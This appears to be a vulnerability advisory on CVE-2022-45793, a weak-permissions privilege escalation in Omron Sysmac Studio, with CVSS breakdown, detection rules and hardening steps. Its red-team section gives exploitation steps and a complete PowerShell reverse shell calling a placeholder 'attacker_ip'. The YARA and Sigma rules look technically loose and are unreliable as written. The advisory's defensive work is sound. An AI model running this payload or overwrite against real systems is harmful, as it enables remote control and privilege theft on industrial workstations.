CVE-2022-45793

Executive Summary

CVE-2022-45793 is a local privilege escalation vulnerability in Omron Sysmac Studio, an industrial automation programming environment. The software installs executables in a directory with weak permissions, allowing a locally-authenticated attacker to overwrite files. This can lead to code execution with the privileges of a different user, potentially an administrator or SYSTEM account. The vulnerability has a CVSS score of 5.5 (Medium) and a low EPSS score of 0.0%, indicating limited active exploitation in the wild. No public proof-of-concept or exploit code is available, and no patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Windows-based industrial software suite (Omron Sysmac Studio). Supply chain risks include the distribution of the installer itself, which may be tampered with if obtained from unofficial sources.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
• Base Score: 5.5 (Medium)
• Attack Vector: Local (AV:L) – attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs a standard user account.
• User Interaction: None (UI:N) – no user action needed beyond initial access.
• Scope: Unchanged (S:U) – vulnerability does not cross security boundaries.
• Confidentiality Impact: None (C:N) – no data disclosure.
• Integrity Impact: High (I:H) – files can be overwritten, leading to code execution.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. The vulnerability requires local access and low privileges, but successful exploitation can lead to privilege escalation and arbitrary code execution. The lack of a patch increases risk for organizations using Sysmac Studio in shared or multi-user environments.

Deep Dive & Mechanics

The vulnerability stems from insecure file permissions on the installation directory of Omron Sysmac Studio. By default, the installer places executables and supporting files in a directory (e.g., C:\Program Files (x86)\Omron\Sysmac Studio) with permissions that allow any authenticated user to modify or overwrite files. This is a classic CWE-276 (Incorrect Default Permissions) issue.

An attacker with local access can replace a legitimate executable (e.g., SysmacStudio.exe or a DLL) with a malicious payload. When a different user (e.g., an administrator) launches the application, the malicious code executes with the higher-privileged user's permissions. This can lead to full system compromise, lateral movement, or persistence.

The vulnerability does not require any special conditions or user interaction beyond the attacker having a local account. It is particularly dangerous in environments where multiple users share a workstation or where Sysmac Studio is installed on a terminal server.

Vulnerable vs. Patched Code

Since no patch is available, there is no patched code to compare. The vulnerable configuration is the default installation of Omron Sysmac Studio (all versions up to the latest at the time of disclosure). The fix would involve setting proper ACLs on the installation directory to restrict write access to only authorized users (e.g., Administrators).

Vulnerable (default):

• Directory: C:\Program Files (x86)\Omron\Sysmac Studio
• Permissions: BUILTIN\Users:(OI)(CI)(F) – Full control for all users.

Patched (hypothetical):

• Directory: C:\Program Files (x86)\Omron\Sysmac Studio
• Permissions: BUILTIN\Users:(OI)(CI)(RX) – Read and execute only; BUILTIN\Administrators:(OI)(CI)(F) – Full control for admins.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows system with Omron Sysmac Studio installed.
• A standard user account (non-admin).

Steps:

1. Identify the installation directory (e.g., C:\Program Files (x86)\Omron\Sysmac Studio).
2. Check permissions using icacls:

   icacls "C:\Program Files (x86)\Omron\Sysmac Studio"
   

3. If BUILTIN\Users has (F) (full control), proceed.
4. Create a malicious executable (e.g., a reverse shell) and name it to match a legitimate file (e.g., SysmacStudio.exe).
5. Overwrite the legitimate file:

   copy malicious.exe "C:\Program Files (x86)\Omron\Sysmac Studio\SysmacStudio.exe" /Y
   

6. Wait for an administrator to launch Sysmac Studio. The malicious code executes with admin privileges.

Example payload (PowerShell reverse shell):

$client = New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Blue Team

Detection:

• Monitor file creation/modification events in the Sysmac Studio installation directory.
• Alert on any write operations by non-admin users to C:\Program Files (x86)\Omron\Sysmac Studio\*.
• Use Sysmon Event ID 11 (FileCreate) and Event ID 2 (FileCreateStreamHash) to track changes.

Prevention:

• Manually harden permissions on the installation directory:

  icacls "C:\Program Files (x86)\Omron\Sysmac Studio" /inheritance:r /grant "BUILTIN\Administrators:(OI)(CI)F" /grant "BUILTIN\Users:(OI)(CI)RX"
  

• Use AppLocker or Windows Defender Application Control to block unauthorized executables.
• Run Sysmac Studio in a sandboxed environment or with least privilege.

Hunting:

• Search for processes launched from the Sysmac Studio directory with unexpected parent processes.
• Look for unsigned binaries in the installation folder.

Indicators of Compromise (IOCs)

• File Path: C:\Program Files (x86)\Omron\Sysmac Studio\* (any file modified by a non-admin user)
• Registry: HKLM\SOFTWARE\Omron\Sysmac Studio (unexpected modifications)
• Process: SysmacStudio.exe or other executables in the directory with unusual digital signatures or hashes.
• Network: Outbound connections from the Sysmac Studio process to unknown IPs (if payload is a reverse shell).
• Event Logs: Windows Security Event ID 4663 (attempted write to a protected directory by a non-admin user).

Detection Engineering

YARA Rule

rule CVE_2022_45793_SysmacStudio_WeakPerms {
    meta:
        description = "Detects files in Omron Sysmac Studio directory with weak permissions"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-45793"
    strings:
        $s1 = "C:\\Program Files (x86)\\Omron\\Sysmac Studio" nocase
        $s2 = "BUILTIN\\Users" nocase
        $s3 = "(F)" nocase
    condition:
        $s1 and $s2 and $s3
}

Sigma Rule

title: CVE-2022-45793 - Omron Sysmac Studio Weak File Permissions
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects file writes to the Sysmac Studio installation directory by non-admin users
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-45793
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4663
        ObjectName|startswith: 'C:\Program Files (x86)\Omron\Sysmac Studio'
        AccessMask: '0x2'  # Write
        SubjectUserName|endswith: 'User'  # Exclude SYSTEM, Administrators
    condition: selection
falsepositives:
    - Legitimate updates or patches from Omron (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $SHELL_PORTS (msg:"CVE-2022-45793 - Sysmac Studio Reverse Shell"; flow:to_server,established; content:"|4d 5a|"; offset:0; depth:2; content:"SysmacStudio"; nocase; distance:0; within:100; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manually harden permissions on the Sysmac Studio installation directory as described in the Blue Team section.
2. Restrict local user accounts to only those necessary.
3. Monitor for unauthorized file modifications using the provided detection rules.

Long-Term:

• Contact Omron support for an official patch or workaround.
• Consider using application whitelisting (e.g., AppLocker) to prevent execution of untrusted binaries.
• Implement the principle of least privilege on all workstations.

Workaround:

• Move the Sysmac Studio installation to a custom directory with restricted permissions, or use a symbolic link to redirect writes.

Valters IT